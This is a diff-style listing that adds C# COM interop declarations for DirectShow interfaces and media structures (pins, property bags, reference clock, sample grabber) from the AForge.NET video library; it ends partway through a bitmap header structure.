/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves information about this pin (for example, the name, owning filter, and direction).
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pinInfo"><see cref="PinInfo"/> structure that receives the pin information.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int QueryPinInfo( [Out] out PinInfo pinInfo );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the direction for this pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pinDirection">Receives direction of the pin.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int QueryDirection( out PinDirection pinDirection );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves an identifier for the pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="id">Pin identifier.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Queries whether a given media type is acceptable by the pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="mediaType"><see cref="AMMediaType"/> structure that specifies the media type.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Provides an enumerator for this pin's preferred media types.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="enumerator">Address of a variable that receives a pointer to the <b>IEnumMediaTypes</b> interface.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int EnumMediaTypes( IntPtr enumerator );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Provides an array of the pins to which this pin internally connects.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="apPin">Address of an array of <b>IPin</b> pointers.</param>
|
||||||
|
/// <param name="nPin">On input, specifies the size of the array. When the method returns,
|
||||||
|
/// the value is set to the number of pointers returned in the array.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Notifies the pin that no additional data is expected.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int EndOfStream( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Begins a flush operation.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int BeginFlush( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Ends a flush operation.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int EndFlush( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="start">Start time of the segment, relative to the original source, in 100-nanosecond units.</param>
|
||||||
|
/// <param name="stop">End time of the segment, relative to the original source, in 100-nanosecond units.</param>
|
||||||
|
/// <param name="rate">Rate at which this segment should be processed, as a percentage of the original rate.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int NewSegment(
|
||||||
|
long start,
|
||||||
|
long stop,
|
||||||
|
double rate );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,53 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The <b>IPropertyBag</b> interface provides an object with a property bag in
|
||||||
|
/// which the object can persistently save its properties.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IPropertyBag
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Read a property from property bag.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="propertyName">Property name to read.</param>
|
||||||
|
/// <param name="pVar">Property value.</param>
|
||||||
|
/// <param name="pErrorLog">Caller's error log.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Read(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
|
||||||
|
[In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar,
|
||||||
|
[In] IntPtr pErrorLog );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Write property to property bag.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="propertyName">Property name to read.</param>
|
||||||
|
/// <param name="pVar">Property value.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Write(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
|
||||||
|
[In, MarshalAs( UnmanagedType.Struct )] ref object pVar );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,87 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2010
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
// Written by Jeremy Noring
|
||||||
|
// kidjan@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The IReferenceClock interface provides the reference time for the filter graph.
|
||||||
|
///
|
||||||
|
/// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock.
|
||||||
|
/// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to
|
||||||
|
/// retrieve the current reference time, or to request notification of an elapsed time.
|
||||||
|
/// </summary>
|
||||||
|
[ComImport, System.Security.SuppressUnmanagedCodeSecurity,
|
||||||
|
Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IReferenceClock
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The GetTime method retrieves the current reference time.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pTime">Pointer to a variable that receives the current time, in 100-nanosecond units.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetTime( [Out] out long pTime );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The AdviseTime method creates a one-shot advise request.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="baseTime">Base reference time, in 100-nanosecond units. See Remarks.</param>
|
||||||
|
/// <param name="streamTime">Stream offset time, in 100-nanosecond units. See Remarks.</param>
|
||||||
|
/// <param name="hEvent">Handle to an event, created by the caller.</param>
|
||||||
|
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int AdviseTime(
|
||||||
|
[In] long baseTime,
|
||||||
|
[In] long streamTime,
|
||||||
|
[In] IntPtr hEvent,
|
||||||
|
[Out] out int pdwAdviseCookie );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The AdvisePeriodic method creates a periodic advise request.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="startTime">Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME.</param>
|
||||||
|
/// <param name="periodTime">Time between notifications, in 100-nanosecond units. Must be greater than zero.</param>
|
||||||
|
/// <param name="hSemaphore">Handle to a semaphore, created by the caller.</param>
|
||||||
|
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int AdvisePeriodic(
|
||||||
|
[In] long startTime,
|
||||||
|
[In] long periodTime,
|
||||||
|
[In] IntPtr hSemaphore,
|
||||||
|
[Out] out int pdwAdviseCookie );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The Unadvise method removes a pending advise request.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="dwAdviseCookie">Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Unadvise( [In] int dwAdviseCookie );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,103 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve
|
||||||
|
/// individual media samples as they move through the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"),
|
||||||
|
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||||
|
internal interface ISampleGrabber
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies whether the filter should stop the graph after receiving one sample.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="oneShot">Boolean value specifying whether the filter should stop the graph after receiving one sample.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the media type for the connection on the Sample Grabber's input pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="mediaType">Specifies the required media type.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the media type for the connection on the Sample Grabber's input pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="mediaType"><see cref="AMMediaType"/> structure, which receives media type.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies whether to copy sample data into a buffer as it goes through the filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="bufferThem">Boolean value specifying whether to buffer sample data.
|
||||||
|
/// If <b>true</b>, the filter copies sample data into an internal buffer.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves a copy of the sample that the filter received most recently.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="bufferSize">Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size.</param>
|
||||||
|
/// <param name="buffer">Pointer to a buffer to receive a copy of the sample, or NULL.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetCurrentBuffer( ref int bufferSize, IntPtr buffer );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Not currently implemented.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="sample"></param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetCurrentSample( IntPtr sample );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a callback method to call on incoming samples.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="callback"><see cref="ISampleGrabberCB"/> interface containing the callback method, or NULL to cancel the callback.</param>
|
||||||
|
/// <param name="whichMethodToCallback">Index specifying the callback method.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,47 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The interface provides callback methods for the <see cref="ISampleGrabber.SetCallback"/> method.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid("0579154A-2B53-4994-B0D0-E773148EFF85"),
|
||||||
|
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||||
|
internal interface ISampleGrabberCB
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Callback method that receives a pointer to the media sample.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
|
||||||
|
/// <param name="sample">Pointer to the sample's <b>IMediaSample</b> interface.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SampleCB( double sampleTime, IntPtr sample );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Callback method that receives a pointer to the sample bufferþ
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
|
||||||
|
/// <param name="buffer">Pointer to a buffer that contains the sample data.</param>
|
||||||
|
/// <param name="bufferLen">Length of the buffer pointed to by <b>buffer</b>, in bytes</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int BufferCB( double sampleTime, IntPtr buffer, int bufferLen );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,36 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2008
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The interface indicates that an object supports property pages.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface ISpecifyPropertyPages
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Fills a counted array of GUID values where each GUID specifies the
|
||||||
|
/// CLSID of each property page that can be displayed in the property
|
||||||
|
/// sheet for this object.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pPages">Pointer to a CAUUID structure that must be initialized
|
||||||
|
/// and filled before returning.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetPages( out CAUUID pPages );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,518 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2013
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Drawing;
|
||||||
|
|
||||||
|
// PIN_DIRECTION
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// This enumeration indicates a pin's direction.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false )]
|
||||||
|
internal enum PinDirection
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Input pin.
|
||||||
|
/// </summary>
|
||||||
|
Input,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Output pin.
|
||||||
|
/// </summary>
|
||||||
|
Output
|
||||||
|
}
|
||||||
|
|
||||||
|
// AM_MEDIA_TYPE
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The structure describes the format of a media sample.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false ),
|
||||||
|
StructLayout( LayoutKind.Sequential )]
|
||||||
|
internal class AMMediaType : IDisposable
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Globally unique identifier (GUID) that specifies the major type of the media sample.
|
||||||
|
/// </summary>
|
||||||
|
public Guid MajorType;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// GUID that specifies the subtype of the media sample.
|
||||||
|
/// </summary>
|
||||||
|
public Guid SubType;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// If <b>true</b>, samples are of a fixed size.
|
||||||
|
/// </summary>
|
||||||
|
[MarshalAs( UnmanagedType.Bool )]
|
||||||
|
public bool FixedSizeSamples = true;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// If <b>true</b>, samples are compressed using temporal (interframe) compression.
|
||||||
|
/// </summary>
|
||||||
|
[MarshalAs( UnmanagedType.Bool )]
|
||||||
|
public bool TemporalCompression;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Size of the sample in bytes. For compressed data, the value can be zero.
|
||||||
|
/// </summary>
|
||||||
|
public int SampleSize = 1;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// GUID that specifies the structure used for the format block.
|
||||||
|
/// </summary>
|
||||||
|
public Guid FormatType;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Not used.
|
||||||
|
/// </summary>
|
||||||
|
public IntPtr unkPtr;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Size of the format block, in bytes.
|
||||||
|
/// </summary>
|
||||||
|
public int FormatSize;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Pointer to the format block.
|
||||||
|
/// </summary>
|
||||||
|
public IntPtr FormatPtr;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Destroys the instance of the <see cref="AMMediaType"/> class.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
~AMMediaType( )
|
||||||
|
{
|
||||||
|
Dispose( false );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Dispose the object.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
public void Dispose( )
|
||||||
|
{
|
||||||
|
Dispose( true );
|
||||||
|
// remove me from the Finalization queue
|
||||||
|
GC.SuppressFinalize( this );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Dispose the object
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="disposing">Indicates if disposing was initiated manually.</param>
|
||||||
|
///
|
||||||
|
protected virtual void Dispose( bool disposing )
|
||||||
|
{
|
||||||
|
if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) )
|
||||||
|
{
|
||||||
|
Marshal.FreeCoTaskMem( FormatPtr );
|
||||||
|
FormatSize = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( unkPtr != IntPtr.Zero )
|
||||||
|
{
|
||||||
|
Marshal.Release( unkPtr );
|
||||||
|
unkPtr = IntPtr.Zero;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// PIN_INFO
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The structure contains information about a pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false ),
|
||||||
|
StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
|
||||||
|
internal struct PinInfo
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Owning filter.
|
||||||
|
/// </summary>
|
||||||
|
public IBaseFilter Filter;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Direction of the pin.
|
||||||
|
/// </summary>
|
||||||
|
public PinDirection Direction;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Name of the pin.
|
||||||
|
/// </summary>
|
||||||
|
[MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
|
||||||
|
public string Name;
|
||||||
|
}
|
||||||
|
|
||||||
|
// FILTER_INFO
|
||||||
|
[ComVisible( false ),
|
||||||
|
StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
|
||||||
|
internal struct FilterInfo
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Filter's name.
|
||||||
|
/// </summary>
|
||||||
|
[MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
|
||||||
|
public string Name;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Owning graph.
|
||||||
|
/// </summary>
|
||||||
|
public IFilterGraph FilterGraph;
|
||||||
|
}
|
||||||
|
|
||||||
|
// VIDEOINFOHEADER
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The structure describes the bitmap and color information for a video image.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false ),
|
||||||
|
StructLayout( LayoutKind.Sequential )]
|
||||||
|
internal struct VideoInfoHeader
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// <see cref="RECT"/> structure that specifies the source video window.
|
||||||
|
/// </summary>
|
||||||
|
public RECT SrcRect;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// <see cref="RECT"/> structure that specifies the destination video window.
|
||||||
|
/// </summary>
|
||||||
|
public RECT TargetRect;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Approximate data rate of the video stream, in bits per second.
|
||||||
|
/// </summary>
|
||||||
|
public int BitRate;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Data error rate, in bit errors per second.
|
||||||
|
/// </summary>
|
||||||
|
public int BitErrorRate;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The desired average display time of the video frames, in 100-nanosecond units.
|
||||||
|
/// </summary>
|
||||||
|
public long AverageTimePerFrame;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
|
||||||
|
/// </summary>
|
||||||
|
public BitmapInfoHeader BmiHeader;
|
||||||
|
}
|
||||||
|
|
||||||
|
// VIDEOINFOHEADER2
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The structure describes the bitmap and color information for a video image (v2).
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false ),
|
||||||
|
StructLayout( LayoutKind.Sequential )]
|
||||||
|
internal struct VideoInfoHeader2
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// <see cref="RECT"/> structure that specifies the source video window.
|
||||||
|
/// </summary>
|
||||||
|
public RECT SrcRect;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// <see cref="RECT"/> structure that specifies the destination video window.
|
||||||
|
/// </summary>
|
||||||
|
public RECT TargetRect;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Approximate data rate of the video stream, in bits per second.
|
||||||
|
/// </summary>
|
||||||
|
public int BitRate;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Data error rate, in bit errors per second.
|
||||||
|
/// </summary>
|
||||||
|
public int BitErrorRate;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The desired average display time of the video frames, in 100-nanosecond units.
|
||||||
|
/// </summary>
|
||||||
|
public long AverageTimePerFrame;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Flags that specify how the video is interlaced.
|
||||||
|
/// </summary>
|
||||||
|
public int InterlaceFlags;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Flag set to indicate that the duplication of the stream should be restricted.
|
||||||
|
/// </summary>
|
||||||
|
public int CopyProtectFlags;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The X dimension of picture aspect ratio.
|
||||||
|
/// </summary>
|
||||||
|
public int PictAspectRatioX;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The Y dimension of picture aspect ratio.
|
||||||
|
/// </summary>
|
||||||
|
public int PictAspectRatioY;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
public int Reserved1;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
public int Reserved2;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
|
||||||
|
/// </summary>
|
||||||
|
public BitmapInfoHeader BmiHeader;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB).
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false ),
|
||||||
|
StructLayout( LayoutKind.Sequential, Pack = 2 )]
|
||||||
|
internal struct BitmapInfoHeader
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the number of bytes required by the structure.
|
||||||
|
/// </summary>
|
||||||
|
public int Size;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the width of the bitmap.
|
||||||
|
/// </summary>
|
||||||
|
public int Width;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the height of the bitmap, in pixels.
|
||||||
|
/// </summary>
|
||||||
|
public int Height;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the number of planes for the target device. This value must be set to 1.
|
||||||
|
